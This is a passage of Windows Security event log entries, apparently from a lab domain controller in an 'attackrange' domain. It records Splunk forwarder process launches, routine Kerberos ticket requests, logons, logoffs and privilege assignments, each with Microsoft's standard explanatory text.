	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe20
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x8a4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:51:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253769
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe90
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x8a4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:52:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253773
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x587DD

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:52:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253772
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x587DD
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253771
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:52:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=253770
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:52:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253784
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x58CAD
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		49702

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253783
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x58CAD

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:52:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253782
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		WIN-DC-725$@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{346824AF-0CB8-C5F8-7BC7-9C74DCACA240}

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x60810010
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:52:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253781
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x58AA5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		49701

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253780
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x58AA6
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		49700

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253779
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x58AA6

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:52:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253778
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x58AA5

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:52:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253777
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		WIN-DC-725$@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{346824AF-0CB8-C5F8-7BC7-9C74DCACA240}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:52:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253776
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		WIN-DC-725$@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{346824AF-0CB8-C5F8-7BC7-9C74DCACA240}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:52:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253775
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		WIN-DC-725$
	Supplied Realm Name:	ATTACKRANGE.LOCAL
	User ID:			ATTACKRANGE\WIN-DC-725$

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:52:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253774
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		WIN-DC-725$
	Supplied Realm Name:	ATTACKRANGE.LOCAL
	User ID:			ATTACKRANGE\WIN-DC-725$

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253879
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x61DDE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253878
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x63E00

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253877
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x63EA5

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253876
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x63EA5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253875
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x63EA5

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253874
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{A5C71DD5-B489-0540-943D-E9B9360F39B5}

Target Server:
	Target Server Name:	win-dc-725$
	Additional Information:	win-dc-725$

Process Information:
	Process ID:		0x1168
	Process Name:		C:\Windows\System32\taskhostw.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253873
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		WIN-DC-725$@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{A5C71DD5-B489-0540-943D-E9B9360F39B5}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253872
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		WIN-DC-725$
	Supplied Realm Name:	ATTACKRANGE.LOCAL
	User ID:			ATTACKRANGE\WIN-DC-725$

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253871
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x63E00
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		49718

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253870
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x63E00

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:52:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
